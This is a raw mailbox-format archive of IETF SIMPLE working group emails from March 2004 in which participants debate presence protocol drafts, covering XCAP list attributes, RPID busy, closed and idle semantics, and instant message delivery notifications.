Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25394
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 13:04:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrlp-00066W-LK
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 13:04:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21I41rr023458
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 13:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrlp-00066H-Hd
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 13:04:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25353
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 13:03:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrln-0003Fi-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 13:03:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrkq-000381-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 13:03:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrjx-00031B-00; Mon, 01 Mar 2004 13:02:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrju-0005vo-DS; Mon, 01 Mar 2004 13:02:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrjk-0005ur-QZ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 13:01:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25239
	for <simple@ietf.org>; Mon, 1 Mar 2004 13:01:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrji-0002yo-00
	for simple@ietf.org; Mon, 01 Mar 2004 13:01:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrim-0002pm-00
	for simple@ietf.org; Mon, 01 Mar 2004 13:00:52 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrhr-0002ee-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:59:55 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hxp714452;
	Mon, 1 Mar 2004 19:59:51 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:59:45 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21HxjCX023595;
	Mon, 1 Mar 2004 19:59:45 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00Mjxx46; Mon, 01 Mar 2004 19:59:43 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hxh723500;
	Mon, 1 Mar 2004 19:59:43 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:59:42 +0200
Message-ID: <40437A0B.2040103@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Adam Roach <adam@dynamicsoft.com>
CC: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
References: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:59:43.0062 (UTC) FILETIME=[F971C760:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:59:39 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Adam Roach wrote:
<snip />

>>Yes, I was thinking the same. If the uri in unique, why do we 
>>need name?
> 
> 
> The stated motivation has been that SIP URI comparision rules
> can be inefficient.

Why does this matter? If you're simply comparing values of XML 
attributes, then why does it matter that the value represents a SIP URI?

Cheers,
Aki

> 
> /a
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 16:50:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08089
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 16:50:45 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxvIm-0004FF-T4
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 16:50:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21LoGU3016312
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 16:50:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqU7-0007HU-K6
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:41:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16610
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:25:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqEL-0002ji-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:25:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqBX-0001yp-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:22:28 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAQ-0001P6-00; Mon, 01 Mar 2004 11:21:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axq7V-00019D-7r; Mon, 01 Mar 2004 11:18:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axq7F-0004lH-QK; Mon, 01 Mar 2004 11:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axq6M-0004iZ-OD
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:17:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13920
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxphQ-0007JX-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpSA-0002D0-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:35:39 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axozp-0002WG-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:06:17 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F5fNr011411;
	Mon, 1 Mar 2004 10:05:42 -0500 (EST)
Message-ID: <40435132.4070505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu>
In-Reply-To: <4042CF62.7030907@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:05:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> Paul Kyzivat wrote:
> 
>>> How does busy differ from closed? Also, I dont see a reason why it 
>>> couldnt automatically be generated. For example, if I'm in a meeting.
>>
>>
>>
>> It differs because it means that you (probably) don't want to 
>> communicate, not that you can't. A call will possibly result in 
>> alerting the presentity. It may then result in no answer, or an answer 
>> from someone who will be annoyed with you.
>>
>> While it could be generated automatically, I think maybe the 
>> assumption was that automated generation could be more precise. OTOH, 
>> it may be that filtering will turn the more precise specifications 
>> into this one in order to be less specific. So maybe the 2nd sentence 
>> should be removed.
> 
> 
> Reworded to
> 
> User is busy, without further details. While this
> activity would typically be associated with a status of CLOSED, a
> presentity may declare itself busy to discourage communication, but
> indicate that it still can be reached if needed.

OK.

> 
> 
>> Maybe that the phone would ring without answer? Or that it would be 
>> answered by whoever the phone number was reassigned to? (Aren't phone 
>> numbers wonderful?)
> 
> 
> Added sentence along those lines.
> 
> This interpretation implies that OPEN implies nothing about the 
> usefulness of communication that is possible.

Well, this directly contradicts the text that is currently in the 
beginning of rpid:

>  PIDF describes the basic status values of "open" or "closed" only as
>    "have meanings of general availability for other communications
>    means". We define "closed" in our context as meaning that
>    communication to the contact address will in all likelihood not
>    succeed, is undesired or will not reach the intended party.  (For
>    example, a presentity may include a hotel phone number as a contact.
>    After check-out, the phone number will still ring, but reach the
>    chambermaid or the next guest.  Thus, it would be declared "closed".)
>    For "pres" contacts, "closed" means that no presence status
>    information is available.



> 
>> I have a related issue that I thought I already raised, but maybe not.
>>
>> I agree with your characterization of idle on commercial IM systems, 
>> and that is probably what we want for those built with SIMPLE as well. 
>> But when we extend the notion of presence to phones we typically get a 
>> different semantic. It is common to be in close proximity to a phone 
>> and yet not use it for long periods of time. So if idle is based on 
>> how long since the phone was used, then a long idle time says nothing 
>> about the likelihood that a call would be answered. And conversely, a 
>> lack of an <idle> status likely increases the probability that a call 
>> won't be answered.
>>
>> So we end up with a status attribute whose significance is dependent 
>> on the type of device publishing it. That seems like a bad thing. I'm 
>> not sure what the solution is. Perhaps replacing idle with an 
>> attribute that expressed a probability that the device is attended?
> 
> 
> I can't see how a PC or phone could compute these probabilities. This 
> would require knowing that 10 minutes of absence (the only observable 
> value), for a particular user, implies that there's a 20% chance that 
> the user has stepped out. Unless your PC or phone has a user proximity 
> detector, this seems hard to do.
> 
> We do have the contact-type to allow the receiver to guess what this may 
> mean. I think we discussed this before: in almost all cases, the value 
> of a long idle time is not all that high (unless you know that the 
> presentity is either a telemarketer who doesn't exist without a phone or 
> a compulsive PC user that doesn't take his hands off the keyboard while 
> in the office), but a short idle time is a good indication that somebody 
> is likely home, be it a phone or PC.
> 
> Thus, my suggestion is to leave this as is and not try to over-interpret 
> the value.

I'd really rather not; I think its a mistake to produce an idle 
attribute that differs substantially from established semantics. This is 
one of the few pidf extensions that we know is widely used in existing 
systems, and is a clear requirement for us to provide.

I would instead propose that we define an attribute like <device-idle> 
which makes it clear that this refers to the idle time on the DEVICE on 
which that particular tuple is associated. A natural consequence of this 
is that it wouldnt make sense for tuples that span devices or are 
otherwise not associated with a device. I'd also suggest adding text 
that makes it clear that, in the one case of an IM app on a PC, that 
this has the commonly understood semantics of idle.

We may or may not also want idle as you have defined it; I am more 
agnostic on that point, but would suggest renamining it if it is 
included, to avoid confusion.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 17:17:21 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09344
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 17:17:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvj0-0001YT-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 17:17:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axvhq-0001IT-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 17:16:10 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvh6-0001C1-01; Mon, 01 Mar 2004 17:15:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axvf2-0004lk-8j; Mon, 01 Mar 2004 17:13:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axven-0005b3-9N; Mon, 01 Mar 2004 17:13:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axvdq-0005ZS-8A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 17:12:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09222
	for <simple@ietf.org>; Mon, 1 Mar 2004 17:11:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvdo-0000to-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:12:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axvcr-0000oZ-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:11:01 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1Axvcd-0000jV-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:10:47 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 28890; Mon, 01 Mar 2004 17:10:16 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A21C@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WL/uiYPDW+pATzWJ2kSNui5rFgAe+2Yw
From: "Eric Burger" <eburger@snowshore.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 17:10:16 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

The first example is where the message sender is in a session and wants =
a notification on a particular message.  In that case, one could argue =
that the notification is still a one-shot message, and does not need a =
session.

I could see that someone could request confirmation on every message =
they send.  In that case, an optimization would be to have the =
notifications streamed.  That said, I think that use case really would =
drive a different protocol (Reliable IM?).

The second example is where the message sender sends a message to an =
exploder or conference bridge.  The first thing we should consider is =
whether the notification comes from the exploder/bridge or from the =
endpoints themselves.  In the SIP world, it does make a difference if we =
are talking exploder vs. bridge.  In the exploder case, the =
notifications come from the endpoints themselves.  Stream mode for the =
responses does not necessarily help.

In the bridge case, the endpoint only has a dialog with the bridge.  =
Thus, the bridge is where the notification has to come from.  The bridge =
could act as a state agent, optimizing network usage either by =
aggregating responses or opening a session for notifications.

Am I off-base in thinking the transport mode (stream v. one-shot) is =
independent of the notification?


> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Monday, March 01, 2004 1:44 AM
> To: Eric Burger
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: Advanced IM requirements
>=20
>=20
>=20
>=20
> Eric Burger wrote:
> > I agree.  Again, this highlights why IMDN is at the CPIM,=20
> and not SIP, level.
> >=20
> > Further, what is the use case for MDN in session mode? =20
> Would anyone EVER use it?  I doubt it: if you are in a=20
> session, presumably you are interactive, which means you have=20
> OOB methods for knowing the message wasn't read (e.g., no=20
> response from the other person).
>=20
> I agree it doesn't seem like something that normally would be=20
> used. But=20
> there may be some cases. I may want explicit confirmation that a=20
> particular message has not only been delivered, but read. (This might=20
> require the UAS to demand some explicit confirmation from the=20
> end user=20
> before sending the confirmation.)
>=20
> Another case is with an IM conference. If I send a message to=20
> the mixer,=20
> requesting confirmation, ideally that would be an end-to-all-ends=20
> confirmation. The mixer would have to request and receive=20
> confirmation=20
> from all recipients before confirming to sender.
>=20
> > Given that assertion, can we say IMDN's are page mode messages.
>=20
> Based on above, I say NO.
>=20
> 	Paul
>=20
>=20
>=20


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 17:17:53 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09509
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 17:17:53 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axvj3-00064f-K8
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 17:17:25 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21MHPF8023345
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 17:17:25 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axvj3-00064S-8A
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 17:17:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09359
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 17:17:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvj0-0001Yb-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 17:17:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axvhq-0001Ia-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 17:16:11 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvh6-0001C1-01; Mon, 01 Mar 2004 17:15:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axvf2-0004lk-8j; Mon, 01 Mar 2004 17:13:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axven-0005b3-9N; Mon, 01 Mar 2004 17:13:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axvdq-0005ZS-8A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 17:12:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09222
	for <simple@ietf.org>; Mon, 1 Mar 2004 17:11:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axvdo-0000to-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:12:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axvcr-0000oZ-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:11:01 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1Axvcd-0000jV-00
	for simple@ietf.org; Mon, 01 Mar 2004 17:10:47 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 28890; Mon, 01 Mar 2004 17:10:16 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A21C@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WL/uiYPDW+pATzWJ2kSNui5rFgAe+2Yw
From: "Eric Burger" <eburger@snowshore.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 17:10:16 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

The first example is where the message sender is in a session and wants =
a notification on a particular message.  In that case, one could argue =
that the notification is still a one-shot message, and does not need a =
session.

I could see that someone could request confirmation on every message =
they send.  In that case, an optimization would be to have the =
notifications streamed.  That said, I think that use case really would =
drive a different protocol (Reliable IM?).

The second example is where the message sender sends a message to an =
exploder or conference bridge.  The first thing we should consider is =
whether the notification comes from the exploder/bridge or from the =
endpoints themselves.  In the SIP world, it does make a difference if we =
are talking exploder vs. bridge.  In the exploder case, the =
notifications come from the endpoints themselves.  Stream mode for the =
responses does not necessarily help.

In the bridge case, the endpoint only has a dialog with the bridge.  =
Thus, the bridge is where the notification has to come from.  The bridge =
could act as a state agent, optimizing network usage either by =
aggregating responses or opening a session for notifications.

Am I off-base in thinking the transport mode (stream v. one-shot) is =
independent of the notification?


> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Monday, March 01, 2004 1:44 AM
> To: Eric Burger
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: Advanced IM requirements
>=20
>=20
>=20
>=20
> Eric Burger wrote:
> > I agree.  Again, this highlights why IMDN is at the CPIM,=20
> and not SIP, level.
> >=20
> > Further, what is the use case for MDN in session mode? =20
> Would anyone EVER use it?  I doubt it: if you are in a=20
> session, presumably you are interactive, which means you have=20
> OOB methods for knowing the message wasn't read (e.g., no=20
> response from the other person).
>=20
> I agree it doesn't seem like something that normally would be=20
> used. But=20
> there may be some cases. I may want explicit confirmation that a=20
> particular message has not only been delivered, but read. (This might=20
> require the UAS to demand some explicit confirmation from the=20
> end user=20
> before sending the confirmation.)
>=20
> Another case is with an IM conference. If I send a message to=20
> the mixer,=20
> requesting confirmation, ideally that would be an end-to-all-ends=20
> confirmation. The mixer would have to request and receive=20
> confirmation=20
> from all recipients before confirming to sender.
>=20
> > Given that assertion, can we say IMDN's are page mode messages.
>=20
> Based on above, I say NO.
>=20
> 	Paul
>=20
>=20
>=20


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 17:45:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10566
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 17:45:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxwAf-0004OJ-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 17:45:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axw9j-0004IU-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 17:45:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axw8q-0004Cd-00; Mon, 01 Mar 2004 17:44:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axw8n-0007bD-Pa; Mon, 01 Mar 2004 17:44:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axw7x-0007Zs-0g
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 17:43:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10474
	for <simple@ietf.org>; Mon, 1 Mar 2004 17:43:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
